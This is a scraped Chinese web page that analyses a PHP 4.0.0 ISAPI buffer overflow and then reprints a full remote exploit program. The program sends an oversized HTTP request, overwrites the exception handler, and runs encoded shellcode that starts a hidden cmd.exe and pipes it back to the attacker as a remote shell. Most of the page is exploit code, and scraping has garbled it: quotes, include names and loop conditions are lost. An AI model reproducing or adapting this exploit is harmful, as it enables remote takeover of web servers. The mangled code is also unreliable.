您好,欢迎访问一九零五行业门户网

php4.0.0远程溢出源代码分析与测试程序_PHP

hp4.0.0才出来的时候,我们测试发现php4isasp.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码:
static void sapi_isapi_register_server_variables(zval *track_vars_array els_dc sls_dc pls_dc)
{
char static_variable_buf[isapi_server_var_buf_size];
char *variable_buf;
dword variable_len = isapi_server_var_buf_size;
char *variable;
char *strtok_buf = null;
lpextension_control_block lpecb;
char **p = isapi_server_variables;
lpecb = (lpextension_control_block) sg(server_context);
/* register the standard isapi variables */
while (*p) {
  variable_len = isapi_server_var_buf_size;
  if (lpecb->getservervariable(lpecb->connid, *p, static_variable_buf, &variable_len)
   && static_variable_buf[0]) {
   php_register_variable(*p, static_variable_buf, track_vars_array els_cc pls_cc);
  } else if (getlasterror() == error_insufficient_buffer) {
   variable_buf = (char *) emalloc(variable_len);
   if (lpecb->getservervariable(lpecb->connid, *p, variable_buf, &variable_len)
    && variable_buf[0]) {
    php_register_variable(*p, variable_buf, track_vars_array els_cc pls_cc);
   }
   efree(variable_buf);
  }
  p++;
}
/* php_self support */
#ifdef with_zeus
if (lpecb->getservervariable(lpecb->connid, path_info, static_variable_buf, &variable_len)
#else
if (lpecb->getservervariable(lpecb->connid, script_name, static_variable_buf, &variable_len)
/*  php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用getservervariable 的返回变量  */
/*  php4.0.3 已经修补  */
#endif
  && static_variable_buf[0]) {
  php_register_variable(php_self, static_variable_buf, track_vars_array els_cc pls_cc);
/*
   因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效
   但我们可以使用异常结构攻击,可以参见我的相关的文章
*/
}
/* register the internal bits of all_http */
variable_len = isapi_server_var_buf_size;
if (lpecb->getservervariable(lpecb->connid, all_http, static_variable_buf, &variable_len)) {
  variable_buf = static_variable_buf;
} else {
  if (getlasterror()==error_insufficient_buffer) {
   variable_buf = (char *) emalloc(variable_len);
   if (!lpecb->getservervariable(lpecb->connid, all_http, variable_buf, &variable_len)) {
    efree(variable_buf);
    return;
   }
  } else {
   return;
  }
}
variable = php_strtok_r(variable_buf, \r\n, &strtok_buf);
while (variable) {
  char *colon = strchr(variable, ':');
if (colon) {
   char *value = colon+1;
while (*value==' ') {
    value++;
   }
   *colon = 0;
   php_register_variable(variable, value, track_vars_array els_cc pls_cc);
   *colon = ':';
  }
  variable = php_strtok_r(null, \r\n, &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
  efree(variable_buf);
}
}
因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统的windows版本调整相关参数。具体攻击测试代码:
/*   
     php4.0  overflow program phphack.c ver 1.0
     copy by yuange   2000。08。16
*/
#include
#include
#include
#include
// #define  debug
//#define  reteipaddr  eipwin2000
#define  fnendlong   0x08
#define  nopcode     'b'    // inc edx    0x90
#define  noplong     0x3c
#define  buffsize    0x20000
#define  reteipaddress 0x900+4
#define  shellbuffsize 0x800
#define  shellfnnums   9
#define  dataxorcode   0xaa
#define  lockbignum    19999999
#define  lockbignum2   13579139
#define  shellport   0x1f90   //0x1f90=8080
#define  webport     80
void     shellcodefnlock();
void     shellcodefn(char *ecb);
void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
  char *server;
  char *str=loadlibrarya\x0createpipe\x0
       createprocessa\x0closehandle\x0
       peeknamedpipe\x0
       readfile\x0writefile\x0
       sleep\x0
       cmd.exe\x0\x0d\x0aexit\x0d\x0a\x0
       xordata\x0
       strend;
  char buff1[]=get /default.php4;
  char buff2[]= http/1.1 \nhost:;
  char *fnendstr=\x90\x90\x90\x90\x90\x90\x90\x90\x90;
  char srlf[]=\x0d\x0a\x00\x00;
char  eipjmpesp[]   =\xb7\x0e\xfa\x7f;
// push esp
// ret
  char  eipexcept[]=\xb8\x0e\xfa\x7f;
// ret
  char  eipjmpesi[]=\x08\x88\xfa\x7f;   
  char  eipjmpedi[]=\xbe\x8b\xfa\x7f;   
  char  eipjmpebx[]=\x73\x67\xfa\x7f;   
//  push ebx
//  ret
/*
   jmp ebx功能代码地址, 中文winnt、中文win2000此地址固定
   这是处于c_936.nls模块
   win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。    
*/
char    buff[buffsize];
  char    recvbuff[buffsize];
  char    shellcodebuff[0x1000];
  struct  sockaddr_in s_in2,s_in3;
  struct  hostent *he;
  char    *shellcodefnadd,*chkespadd;
  unsigned  int sendpacketlong;
//  unsigned
  int i,j,k;
  unsigned  char temp;
  int     fd;
  u_short port,port1,shellcodeport;
  socket  d_ip;
  wsadata wsadata;
  int offset=0;
  int xordatabegin;
  int  lockintvar1,lockintvar2;
  char lockcharvar;
  int overadd=reteipaddress;
  int result;
fprintf(stderr,\n php4.0 for win32 overflow program 2.0 .);
  fprintf(stderr,\n copy by yuange 2000.8.16.);
  fprintf(stderr,\n wellcome to my homepage http://yuange.yeah.net .);
  fprintf(stderr,\n welcome  to http://www.nsfocus.com .);
  fprintf(stderr,\n usage: %s [webport] \n, argv[0]);
if(argc       fprintf(stderr,\n please enter the web server:);
      gets(recvbuff);
      for(i=0;i         if(recvbuff[i]!=' ') break;
      }
server=recvbuff;
      if(i/*
      fprintf(stderr,\n please enter the offset(0-3):);
      gets(buff);
      for(i=0;i          if(buff[i]!=' ') break;
      }
      offset=atoi(buff+i);       
*/
    }
result= wsastartup(makeword(1, 1), &wsadata);
  if (result != 0) {
        fprintf(stderr, your computer was not connected
            to the internet at the time that
            this program was launched, or you
            do not have a 32-bit
            connection to the internet.);
        exit(1);
    }
/*
  if(argc>2){
   offset=atoi(argv[2]);
  }
  overadd+=offset;
  if(offset3){
     fprintf(stderr,\n offset error !offset  0 - 3 .);
     gets(buff);
     exit(1);
  }
*/
if(argc   //     wsacleanup( );    
//       exit(1);
  }
  else  server = argv[1];
for(i=0;i     if(server[i]!=' ')
     break;
  }
  if(i
  for(i=0;i+3      
      if(server[i]==':'){
          if(server[i+1]=='\\'||server[i+1]=='/'){
              if(server[i+2]=='\\'||server[i+2]=='/'){
                  server+=i;
                  server+=3;
                  break;
              }
          }
      }
  }
  for(i=1;i      if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
  }
d_ip = inet_addr(server);
  if(d_ip==-1){
     he = gethostbyname(server);
     if(!he)
     {
       wsacleanup( );
       printf(\n can't get the ip of %s !\n,server);
       gets(buff);
       exit(1);     
     }
     else    memcpy(&d_ip, he->h_addr, 4);
  }
if(argc>2) port=atoi(argv[2]);
  else   port=webport;
  if(port==0) port=webport;
fd = socket(af_inet, sock_stream,0);
  i=8000;
  setsockopt(fd,sol_socket,so_rcvtimeo,(const char *) &i,sizeof(i));
s_in3.sin_family = af_inet;
  s_in3.sin_port = htons(port);
  s_in3.sin_addr.s_addr = d_ip;
  printf(\n nuke ip: %s port %d,inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{        
     closesocket(fd);
     wsacleanup( );
     fprintf(stderr,\n  connect err.);
     gets(buff);
     exit(1);
}
_asm{
         mov esi,esp
         cmp esi,esp
  }
  _chkesp();
  chkespadd=_chkesp;
  temp=*chkespadd;
  if(temp==0xe9) {
         ++chkespadd;
         i=*(int*)chkespadd;
         chkespadd+=i;
         chkespadd+=4;
  }
shellcodefnadd=shellcodefnlock;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
         ++shellcodefnadd;
         k=*(int *)shellcodefnadd;
         shellcodefnadd+=k;
         shellcodefnadd+=4;
  }
for(k=0;k         if(memcmp(shellcodefnadd+k,fnendstr,fnendlong)==0) break;
  }
  memset(buff,nopcode,buffsize);
  if(argc>4){
     memcpy(buff,argv[4],strlen(argv[4]));
  }
  else  memcpy(buff,buff1,strlen(buff1));
  // strcpy(buff,buff1);
// memset(buff+strlen(buff),nopcode,1);
memcpy(buff+overadd+0x60+noplong,shellcodefnadd+k+4,0x80);
//  memcpy(buff+noplong,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
          ++shellcodefnadd;
         k=*(int *)shellcodefnadd;
         shellcodefnadd+=k;
         shellcodefnadd+=4;
  }
for(k=0;k         if(memcmp(shellcodefnadd+k,fnendstr,fnendlong)==0) break;
  }
memcpy(shellcodebuff,shellcodefnadd,k);   //j);
  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
  for(i=0;i      if(memcmp(str+i,strend,6)==0) break;
  }     
  memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
  for(k=0;k         if(memcmp(buff+overadd+noplong+k,fnendstr,fnendlong)==0) break;
//         if(memcmp(buff+noplong+k,fnendstr,fnendlong)==0) break;
}
for(i=0;i         temp=shellcodebuff[i];
         temp^=dataxorcode;
         if(temp           buff[overadd+noplong+k]='0';
//       buff[noplong+k]='0';
           ++k;
           temp+=0x40;
         }
          buff[overadd+noplong+k]=temp;
//    buff[noplong+k]=temp;
         ++k;
}
//  memcpy(buff+overadd+noplong+k,shellcodebuff,sendpacketlong);
//  k+=sendpacketlong;
/*
  for(i=-0x30;i    memcpy(buff+overadd+i,eipexcept,4);
  }
  memcpy(buff+overadd+i,eipjmpesp,4);
*/
  for(i=-40;i     memcpy(buff+overadd+i,\x42\x42\x42\x2d,4);
     memcpy(buff+overadd+i+4,eipjmpebx,4);
  }
  memcpy(buff+overadd+i+8,\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42,24);
//  fprintf(stderr,\n offset:%d,offset);
/*
192.168.8.48
  if(argc>2){
      server=argv[2];
      if(strcmp(server,win9x)==0){
          memcpy(buff+overadd,eipwin9x,4);
          fprintf(stderr,\n nuke win9x.);
      }
      if(strcmp(server,winnt)==0){
          memcpy(buff+overadd,eipwinnt,4);
          fprintf(stderr,\n nuke winnt.);
      }
}
*/
sendpacketlong=k+overadd+i+noplong;
//sendpacketlong=k+noplong;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,\n\n);
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i    memcpy(buff+sendpacketlong+overadd+i,eipexcept,4);
  }
  memcpy(buff+sendpacketlong+overadd+i,eipwinnt,4);
strcpy(buff+sendpacketlong+overadd+i+4,\xff\x63\x64);
strcpy(buff+sendpacketlong+overadd+i+20,\n\n);
*/
// printf(\n send buff:\n%s,buff);
//  strcpy(buff+overadd+noplong,shellcode);
  sendpacketlong=strlen(buff);
/*
#ifdef debug
  _asm{
      lea esp,buff
        add esp,overadd
      ret
}
#endif
*/
  if(argc>6) {
      if(strcmp(argv[6],debug)==0)     {
            _asm{
             lea esp,buff
             add esp,overadd
             ret
            }
      }
  }
xordatabegin=0;
  for(i=0;i     j=sendpacketlong;
     fprintf(stderr,\n send  packet %d bytes.,j);
//     fprintf(stderr,\n sned:\n%s ,buff);
     send(fd,buff,j,0);
     k=recv(fd,recvbuff,0x1000,0);
     if(k>=8&&memcmp(recvbuff,xordata,8)==0) {
          xordatabegin=1;
          k=-1;
          fprintf(stderr,\n ok!\n);
     }
     if(k>0){
         recvbuff[k]=0;
         fprintf(stderr,\n  recv:\n %s,recvbuff);
     }
}
k=1;
  ioctlsocket(fd, fionbio, &k);
// fprintf(stderr,\n now begin: \n);
lockintvar1=lockbignum2%lockbignum;
  lockintvar2=lockintvar1;
/*
  for(i=0;i          srlf[i]^=dataxorcode;
  }
  send(fd,srlf,strlen(srlf),0);
  send(fd,srlf,strlen(srlf),0);
  send(fd,srlf,strlen(srlf),0);
*/
  k=1;
  while(k!=0){
      if(k          gets(buff);
          k=strlen(buff);
          memcpy(buff+k,srlf,3);
    //      send(fd,srlf,strlen(srlf),0);
    //      fprintf(stderr,%s,buff);
          for(i=0;i                lockintvar2=lockintvar2*0x100;
                lockintvar2=lockintvar2%lockbignum;
                lockcharvar=lockintvar2%0x100;
                buff[i]^=lockcharvar;   // dataxorcode;
//              buff[i]^=dataxorcode;
          }
             send(fd,buff,k+2,0);
//          send(fd,srlf,strlen(srlf),0);
      }
      k=recv(fd,buff,0x1000,0);
      if(xordatabegin==0&&k>=8&&memcmp(buff,xordata,8)==0) {
          xordatabegin=1;
          k=-1;
      }
if(k>0){
//          fprintf(stderr,recv %d bytes,k);
          if(xordatabegin==1){
              for(i=0;i                lockintvar1=lockintvar1*0x100;
                lockintvar1=lockintvar1%lockbignum;
                lockcharvar=lockintvar1%0x100;
                buff[i]^=lockcharvar;   // dataxorcode;
              }
          }
          buff[k]=0;
          fprintf(stderr,%s,buff);
      }
//      if(k==0) break;
  }  
  closesocket(fd);
  wsacleanup( );
  fprintf(stderr,\n the server close connect.);
  gets(buff);
  return(0);
}
void  shellcodefnlock()
{
       _asm{
              nop
              nop
              nop
              nop
              nop
              nop
              nop
              nop
              _emit('.')
_emit('p')
              _emit('h')
              _emit('p')
              _emit('4')
              _emit('?')
jmp   next
getediadd:      pop   edi
              push  edi
              pop   esi
              push  ebx    //  ecb
              push  ebx               //  call shellcodefn ret address
              xor   ecx,ecx
looplock:     lodsb
              cmp  al,cl
              jz   shell
              cmp  al,0x30
              jz   clean0
sto:          xor  al,dataxorcode
              stosb
              jmp  looplock
clean0:       lodsb
              sub al,0x40
              jmp sto
next:         call  getediadd
shell:           nop
              nop
              nop
              nop
              nop
              nop
              nop
              nop
}
}
void shellcodefn(char *ecb)
{    char        buff[shellbuffsize+2];
    int         *except[2];
farproc     sleepadd;
    farproc     writefileadd;
    farproc     readfileadd;
    farproc     peeknamedpipeadd;
    farproc     closehandleadd;
    farproc     createprocessadd;
    farproc     createpipeadd;
    farproc        procloadlib;
farproc     apifnadd[1];
    farproc     procgetadd=0;
    farproc     writeclient= *(int *)(ecb+0x84);
    farproc     readclient = *(int *)(ecb+0x88);
    hconn       connid     = *(int *)(ecb+8) ;
    char        *stradd;
    int         imgbase,fnbase,k,l;
    handle      libhandle;   //libwsock32;  
    startupinfo siinfo;
process_information processinformation;
    handle      hreadpipe1,hwritepipe1,hreadpipe2,hwritepipe2;
    int         lbytesread;
    int  lockintvar1,lockintvar2;
    char lockcharvar;
security_attributes sa;
    _asm {            jmp    nextcall
         getstradd:   pop    stradd
                      lea    edi,except
                      mov    dword ptr fs:[0],edi
    }
       except[0]=0xffffffff;
       except[1]=stradd-0x07;
imgbase=0x77e00000;
       _asm{
          call getexceptretadd
       }
       for(;imgbase            imgbase+=0x10000;
            if(imgbase==0x78000000) imgbase=0xbff00000;
            if(*( word *)imgbase=='zm'&& *(word *)(imgbase+*(int *)(imgbase+0x3c))=='ep'){
                   fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
                   k=*(int *)(fnbase+0xc)+imgbase;
                   if(*(int *)k =='nrek'&&*(int *)(k+4)=='23le'){
                      libhandle=imgbase;
                      k=imgbase+*(int *)(fnbase+0x20);
                      for(l=0;l                        if(*(int *)(imgbase+*(int *)k)=='pteg'&&*(int *)(4+imgbase+*(int *)k)=='acor')
                        {
                           k=*(word *)(l+l+imgbase+*(int *)(fnbase+0x24));
                           k+=*(int *)(fnbase+0x10)-1;
                           k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
                           procgetadd=k+imgbase;
                           break;
                        }
                      }
                   }
            }
          }
//搜索kernel32。dll模块地址和api函数 getprocaddress地址
//注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto  die ;
for(k=1;k                apifnadd[k]=procgetadd(libhandle,stradd);
                for(;;++stradd){
                 if(*(stradd)==0&&*(stradd+1)!=0) break;
                }
                ++stradd;
            }
sa.nlength=12;
            sa.lpsecuritydescriptor=0;
            sa.binherithandle=true;
createpipeadd(&hreadpipe1,&hwritepipe1,&sa,0);
            createpipeadd(&hreadpipe2,&hwritepipe2,&sa,0);
// zeromemory(&siinfo,sizeof(siinfo));
            _asm{
                 lea edi,siinfo
                xor eax,eax
                mov ecx,0x11
                repnz stosd
            }
    siinfo.dwflags = startf_useshowwindow|startf_usestdhandles;
    siinfo.wshowwindow = sw_hide;
    siinfo.hstdinput = hreadpipe2;
    siinfo.hstdoutput=hwritepipe1;
    siinfo.hstderror =hwritepipe1;
    k=0;
//    while(k==0)
//   {
        k=createprocessadd(null,stradd,null,null,1,0,null,null,&siinfo,&processinformation);
        stradd+=8;
//    }    
    peeknamedpipeadd(hreadpipe1,buff,shellbuffsize,&lbytesread,0,0);
    k=8;
    writeclient(connid,stradd+9,&k,0);
lockintvar1=lockbignum2%lockbignum;
    lockintvar2=lockintvar1;
while(1) {
        peeknamedpipeadd(hreadpipe1,buff,shellbuffsize,&lbytesread,0,0);
        if(lbytesread>0) {
           readfileadd(hreadpipe1,buff,lbytesread,&lbytesread,0);
           if(lbytesread>0) {
               for(k=0;k                lockintvar2=lockintvar2*0x100;
                lockintvar2=lockintvar2%lockbignum;
                lockcharvar=lockintvar2%0x100;
                buff[k]^=lockcharvar;   // dataxorcode;
//                buff[k]^=dataxorcode;
               }
               writeclient(connid,buff,&lbytesread,0); // hse_io_sync);
           }
        }
        else{
              lbytesread=shellbuffsize;
              k=readclient(connid,buff,&lbytesread);
              if(k!=1){
                k=8;
                writefileadd(hwritepipe2,stradd,k,&k,0); // exit cmd.exe
                writefileadd(hwritepipe2,stradd,k,&k,0); // exit cmd.exe
                writefileadd(hwritepipe2,stradd,k,&k,0); // exit cmd.exe
                while(1){
                  sleepadd(0x7fffffff);                  //僵死  
                }
}
              else{
                for(k=0;k                  lockintvar1=lockintvar1*0x100;
                  lockintvar1=lockintvar1%lockbignum;
                  lockcharvar=lockintvar1%0x100;
                  buff[k]^=lockcharvar;   // dataxorcode;
//                 buff[k]^=dataxorcode;
                }
                writefileadd(hwritepipe2,buff,lbytesread,&lbytesread,0);
//             sleepadd(1000);
              }
        }
    }
die: goto die  ;
        _asm{
getexceptretadd:   pop  eax
                   push eax
                   mov  edi,dword ptr [stradd]
                   mov dword ptr [edi-0x0e],eax
                   ret
errprogram:           mov eax,dword ptr [esp+0x0c]
                   add eax,0xb8
                   mov dword ptr [eax],0x11223344  //stradd-0xe
                   xor eax,eax                //2
                   ret                        //1
execptprogram:     jmp errprogram            //2 bytes     stradd-7
nextcall:          call getstradd            //5 bytes
                   nop
                   nop
                   nop
                   nop
                   nop
                   nop
                   nop
                   nop
                   nop
        }        
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
   int i,k;
   unsigned char temp;
   char *calladd;
for(i=0;i       temp=shellbuff[i];
       if(temp==0xe8){
         k=*(int *)(shellbuff+i+1);
         calladd=fnadd;
         calladd+=k;
         calladd+=i;
         calladd+=5;
         if(calladd==chkesp){
             shellbuff[i]=0x90;
             shellbuff[i+1]=0x43;   // inc ebx
             shellbuff[i+2]=0x4b;    // dec ebx
             shellbuff[i+3]=0x43;
             shellbuff[i+4]=0x4b;
         }
       }
   }
其它类似信息

推荐信息